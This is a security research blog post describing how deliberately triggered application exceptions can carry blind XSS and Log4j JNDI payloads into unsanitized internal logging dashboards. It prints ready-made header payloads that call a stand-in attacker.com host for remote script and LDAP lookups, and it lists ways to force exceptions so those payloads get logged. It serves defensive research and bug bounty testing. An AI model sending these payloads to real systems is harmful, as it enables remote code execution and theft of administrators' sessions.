Keeping and monitoring application error logs is a fundamental practice for ensuring performance and security. But what if someone could deliberately cause errors to route their attack payloads through insecure exception logging functionality? Invicti’s Principal Security Researcher Bogdan Calin describes using this approach as a novel way of finding and exploiting vulnerabilities in internal dashboards.
When your web application receives a request that causes an exception, you usually want to log that request for further analysis. But what if the request contains an attack payload? If you don’t sanitize the request data before logging, it could trigger vulnerabilities in back-end systems such as admin dashboards. Intrigued by an accidental finding during scanning, I decided to investigate this technique.
Before we go into the details, here is how it all began. A while back, I scanned a test website using the Acunetix web security scanner and after the scan completed, I got a notification about a blind cross-site scripting (XSS) vulnerability. Investigating the issue, I discovered that while running its security checks for blind XSS vulnerabilities, Acunetix had generated an exception in the application. The exception was then logged into an admin panel without proper HTML encoding – and my visit to this panel triggered the vulnerability.
This type of vulnerability was unique in that it was discovered unintentionally when an Acunetix blind XSS payload generated an exception. It also differed from a typical blind XSS vulnerability because normal application events are not logged into the admin panel, so an exception had to be generated before the vulnerability could be exploited.
The finding got me thinking about application exceptions – and especially about the possibilities of generating them intentionally to exploit similar vulnerabilities when exception data is logged and loaded without sanitization.
In general, web application exceptions are unexpected events or errors that may occur as a web application executes, often resulting from coding errors, hardware failures, or network issues. Detailed logging of application exceptions is essential to efficient application development. Whenever an exception occurs, it can provide developers with valuable information about a defect and ways to fix it, so exception logging is extremely useful for recording the type, location, and time of an issue, along with relevant error messages and stack traces.
It is common practice to log the HTTP request responsible for generating an exception. Because the exception data is typically only displayed within internal dashboards that developers do not consider to be a significant security risk, the logged data might not be properly encoded or sanitized. If an application logs exceptions that contain user-controlled data, such as input parameters, raw HTTP requests, or error messages, attackers could try and exploit this by injecting malicious code that would only execute when developers or administrators view the exception logs.
To slip a malicious payload into exception logs to be triggered later, attackers could use a variety of exceptional conditions, such as deliberately sending requests with invalid headers or large numbers of requests. Depending on the specific vulnerability that is triggered, an attacker might be able to perform actions on behalf of the user, such as stealing session tokens or injecting client-side JavaScript for a blind XSS attack. If a Log4j-related vulnerability exists, attackers could even execute arbitrary server-side code.
Using techniques described in the next section, I developed several practical attacks that allowed me to discover vulnerabilities in various bug bounty programs, including one that affected a renowned Fortune 100 company. After sending multiple requests intended to generate exceptions, I finally received a hit for a blind XSS vulnerability that existed in an internal monitoring system of the company.
With my blind XSS payload, I managed to extract HTML DOM content which revealed that my requests had triggered an event called Bad Request Spike
. The event was insecurely logged on the company’s internal dashboard. Because the recorded value of the User-Agent
header was not being properly HTML-encoded, it was directly reflected in the HTML DOM, allowing attackers to inject and execute arbitrary JavaScript code.
The consequences of a real attack exploiting this vulnerability could be very serious. Even if the application itself is not directly vulnerable to other attacks and the administrative dashboard is not externally accessible, an exception-triggered blind XSS vulnerability still makes it possible to inject arbitrary JavaScript.
Apart from XSS as used in this case, I discovered that the same payloads could also be used to find and exploit vulnerabilities in Log4j. The technique was identical, but the impact was far more severe, potentially allowing for remote code execution (RCE) on a back-end system.
To develop the initial idea, I began manually testing bug bounty applications for various vulnerabilities of this type – and discovered some intriguing security issues. Below are some combination payloads that incorporate both blind XSS and Log4j (in red). Injection points can include headers, parameters, and paths (the more, the better), though I generally found the most success in injecting the User-Agent
and Referer
headers:
User-Agent:
${jndi:ldap://attacker.com/log4j/1}
'"></title></style></textarea></noscript></template></script><script/src="//attacker.com/bxss/1"></script>Referer:
${jndi:ldap://attacker.com/log4j/2}
'"></title></style></textarea></noscript></template></script><script/src="//attacker.com/bxss/2"></script>Origin:
${jndi:ldap://attacker.com/log4j/3}
'"></title></style></textarea></noscript></template></script><script/src="//attacker.com/bxss/3"></script>
There are many ways to cause an exception in the hope that it will be insecurely logged. Here is a list of some of the error conditions that I’ve found useful in testing for triggering payloads:
User-agent
header.User-agent
header that is widely used in attacks, such as sqlmap/1.3.11#stable (http://sqlmap.org)
.404 Not found
errors are detected. We might use this to our advantage to request a large number of invalid paths and inject our payloads into the HTTP headers.500 Internal server error
, and then make a large number of such requests.The techniques described here rely on deliberately generating application exceptions as a way to store various attack payloads in exception logs. Because the logs are only intended for developers and administrators, logged request data might not be sanitized in the same way as more expected user-controlled data. This opens a whole new avenue for testing and attacks on back-end systems.
While this post only describes examples for blind XSS and RCE via Log4j, the same methods could potentially be used to exploit other vulnerabilities in internal dashboards. From an application security standpoint, the most important lesson is that all request data logged with exceptions needs to be sanitized and encoded to the same standard as other user inputs.